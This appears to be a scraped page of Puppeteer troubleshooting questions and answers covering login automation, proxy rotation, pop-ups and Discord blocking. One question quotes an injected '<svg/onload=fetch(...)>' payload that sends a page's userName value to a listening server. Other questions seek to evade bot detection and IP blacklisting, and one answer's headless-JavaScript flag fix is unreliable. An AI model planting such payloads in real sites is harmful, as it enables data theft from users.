I'm trying to reach a website using this browser variable (NodeJS - puppeteer):
var browser = await puppeteer.launch({
// executablePath: '/opt/homebrew/bin/chromium',
args: [
"--enable-features=NetworkService",
"--no-sandbox",
'--disable-setuid-sandbox',
'--disable-dev-shm-usage',
'--disable-accelerated-2d-canvas',
'--no-first-run',
'--no-zygote',
"--disable-setuid-sandbox"],
userDataDir : user_dir,
ignoreHTTPSErrors: true,
headless:true
});
const HomePage = 'https://signin.website.com';
var home_page = await browser.newPage();
try{
await home_page.goto(HomePage , { timeout: 20000 });
} catch (error) {
await browser.close();
}
await home_page.setRequestInterception(true);
home_page.on('request', async (request) => {
request.continue();
});
home_page.on('response', async (response) => {
const request = response.request();
if (request.url() == 'https://host.sample.com') {
if("x-ut-sid" in response.headers()){
token_list[email] = response.headers()['x-ut-sid'];
await update_token(email , token_list[email] , password);
console.log("token Updated");
}
}
});
I have a strange problem, when I run source on VS Code it runs ok but when I put it on dedicated server it goes with error "Unsupported Browser" on return;
On my local and using VS Code I used Puppeteer (^15.3.2) but nether this also the version (^18.0.5) didn't work on dedicated server.
(Sorry for my bad English)
more details about when I see the error:
I need to log in to this website to see some user details and show them in my website. I can open the page in puppeteer but when I type username and password and click on login always "Unsupported Browser" error thrown from host.
I used 2 methods to fill inputs and click on login:
1-
await home_page.type("input[id='email']", email);
await home_page.type("input[id='password']", password);
await home_page.click("a[id='logInBtn']");
2-
await page.keyboard.type(useremail, {delay: 100});
await page.keyboard.press('Tab', {delay: 100});
await page.keyboard.type(userpass, {delay: 100});
await page.keyboard.press('Tab', {delay: 100});
await page.keyboard.press('Tab', {delay: 100});
await page.keyboard.press('Tab', {delay: 100});
await page.keyboard.press('Enter', {delay: 100});
Why I get this error, I know it may be about UserAgent and header options of puppeteer ... ?!
I am stock on this problem for about 2 weeks, please feel free to asking me questions to get more clear vision of my problem if needed. thanks
Related
For example, I accessed https://t.me/movocashtransfers. A pop-up window appears asking if you want to open the Telegram app. I want to close this because I have to close it to crawl web information.
Code below just does not work. It opens chromiun but does not do anything regarding pop-up. So I get everlasing timeout
async test(){
const browser = await puppeteer.launch({headless: false, args:['--no-sandbox'], ignoreHTTPSErrors: false,});
const page = await browser.newPage();
page.on('dialog', async dialog => {
console.log(dialog.message());
await dialog.dismiss();
});
let temp = await page.goto('https://t.me/kstati_p/22064', { waitUntil: 'load' });
await page.$x("//button[text()='cancel']")[0]
console.log(temp)
console.log(await page.content());
await page.close();
}
await page.goto('https://discord.com/channels/850682587273625661/919026857926590535', { waitUntil: 'networkidle0', timeout: 0 });
await page.screenshot({ path: 'discor.png' })
The main idea here is that if I puppeteer.launch() site is loaded whereas I use puppeteer.connect() is looks as if Discord block my script. Are there any ways to bypass this restriction of Discord?
This url redirects you to a login page, you'd then have to actually log in as you would do manually:
await page.goto('https://discord.com/channels/850682587273625661/919026857926590535');
// enter email
const emailtarget = await page.waitForSelector("input[name=email]", {visible: true});
await emailtarget.type("my#email.com");
// enter password
const passtarget = await page.waitForSelector("input[name=password]", {visible: true});
await passtarget.type("mySecretPass");
// submit
const submitBtn = await page.waitForSelector("button[type=submit]", {visible: true});
await submitBtn.click();
// wait for redirection
await page.waitForNavigation();
// should be logged in, take screenshot
await page.screenshot({ path: 'discor.png' });
I'm making a automation script for filling a form online with puppeteer, and to not blacklist ip's I decided to use proxies for each request, this is the part which gives me error
console.log(`profile ${ii} started`)
let proxy = await proxy_rotation(proxy_data, ii);
console.log("using proxy: ", proxy);
let exec_path = path.resolve(path.dirname(process.execPath) + "/node_modules/puppeteer/.local-chromium/win64-869685/chrome-win/chrome.exe")
const browser = await puppeteer.launch({
executablePath: exec_path,
args: ['--disable-web-security']
});
const page = await browser.newPage();
console.log("1");
await page.setRequestInterception(true);
await useProxy(page, proxy);
console.log("2");
await page.goto(data[ii][0]); //this is where the error gets thrown
this part below doesn't get to run when using a proxy, without it, runs smotthly
console.log("3");
await page.type("#name", data[ii][1]);
await page.type("#yourEmail", data[ii][2]);
await page.type("#phone", data[ii][3]);
await page.type("#street", data[ii][4]);
await page.type("#city", data[ii][5]);
await page.type("#psc", data[ii][6]);
await page.select('select#state', data[ii][7]);
await page.select('select#prefered_size_sel', data[ii][8]);
await page.$eval('input[name="agreed_personal_info_tiny_contact_form"]', check => check.checked = true);
await page.evaluate(() => {
document.querySelector('input[name="agreed_personal_info_tiny_contact_form"]').click();
});
I just console logged a few numbers, to debug where the script is getting stuck. I also tested the proxy and website I'm trying to access both with a proxy tester and manually, and had no problem accessing it
but when I run my script I get this
I understand it pretty much says it cannot access the url, but there should be no reason for that. Do I need to change the way I'm acessing the url when using a proxy? Or add some extra args to the browser? Can I get a more specific error message somehow? Thanks for any suggestions
Also this is the puppeteer function that throws the error
async function navigate(client, url, referrer, frameId) {
try {
const response = await client.send('Page.navigate', {
url,
referrer,
frameId,
});
ensureNewDocumentNavigation = !!response.loaderId;
return response.errorText
? new Error(`${response.errorText} at ${url}`)
: null;
}
catch (error) {
return error;
}
}
That error indicates that something is off how you are using your proxy. Is useProxy your own function or the one from puppeteer-page-proxy? You mention setting the proxy per-request but seems you are setting it for the whole page, is that intentional? The way your proxy is formatted also seems off- check how I do it below.
You can try launching the browser with your proxy server and using page.authenticate() to handle auth. Like this:
let proxy = await proxy_rotation(proxy_data, ii);
const [host, port, username, password] = proxy.split(':');
const parsedProxy = new URL(`http://${username}:${password}#${host}:${port}`);
const browser = await puppeteer.launch({
executablePath: exec_path,
args: ['--disable-web-security', '--ignore-certificate-errors', `--proxy-server=${parsedProxy.host}`]
});
const page = await browser.newPage();
await page.authenticate({
username: parsedProxy.username,
password: parsedProxy.password,
});
Before doing that I would change what you pass to useProxy such that it looks like http://username:pw#host:port (Lines 2-3).
I have a page (secretpage.php) containing JavaScript in the HTTP response which sends the value of the userName parameter to my server.
<svg/onload=fetch('http://localhost:8080/username='+document.getElementById("userName").innerHTML)>
On non-headless mode running Chrome, the JavaScript executed successfully and I got a callback on my local server with the value of the "userName" sent back.
However, on headless mode, the JavaScript did not execute at all which is quite puzzling.
I have attached my js file (test.js) here for reference.
node test.js
Output of test.js below
const puppeteer = require('puppeteer');
(async () => {
//const browser = await puppeteer.launch({ headless: false });
const browser = await puppeteer.launch();
const page = await browser.newPage();
await page.goto('http://localhost/forum/');
await page.type("#lbluserName", "john", { delay: 100 });
await page.type("#lblpassword", "password", { delay: 100 });
await page.click("#btnLogin");
//await page.waitForNavigation();
await page.waitFor(5000);
await page.setViewport({
width: 1280,
height: 800,
deviceScaleFactor: 1,
});
await page.goto('http://localhost/forum/pages/secretpage.php');
await page.waitForSelector('#comments');
await page.screenshot({ path: 'screenshot.png' });
await browser.close();
})();
Could anyone please help with troubleshooting this as this is rather peculiar?
Thank you!
I think you need to run chrome with enabling js in headless mode.
await puppeteer.launch({
args: [
'--enable-features=ExperimentalJavaScript'
]
})
Here is a simple program on puppeteer:
const puppeteer = require('puppeteer');
async function run() {
const browser = await puppeteer.launch({
headless: false,
args:[ `--proxy-server=104.233.50.38:3199`]
});
;
const page = await browser.newPage();
await page.authenticate({
username: 'myusername',
password: 'mypassword'
})
await page.goto('https://google.com')
};
run();
Note: I have tried similar with over 10 proxies and none of them are working in puppeteer
The credentials are exactly what is provided to me, I have checked multiple times.
This is what I get:
Now again , this is the console of the page:
Why is this happening?
I checked the addresses and username, password multiple times. There is no other error message except this.
It seems that page.authenticate is not working for me either,instead you can use page.setExtraHTTPHeaders
async function run() {
const browser = await puppeteer.launch({
ignoreHTTPSErrors: true,
args: ['--proxy-server=104.233.50.38:3199']
});
const page = await browser.newPage();
await page.setExtraHTTPHeaders
({'Proxy-Authorization': 'Basic ' + Buffer.from('username:password').toString('base64'),
});
};
run();
You can use puppeteer-page-proxy, it offers username and password auth very easily. It also supports http, https, socks4 and socks5 proxies. https://github.com/Cuadrix/puppeteer-page-proxy
You can define the proxy this way:
const proxy = 'http://login:pass#IP:Port';
or
const proxy = 'socks5://IP:Port';
Then you can use it per request:
const useProxy = require('puppeteer-page-proxy');
await page.setRequestInterception(true);
page.on('request', req => {
useProxy(req, proxy);
});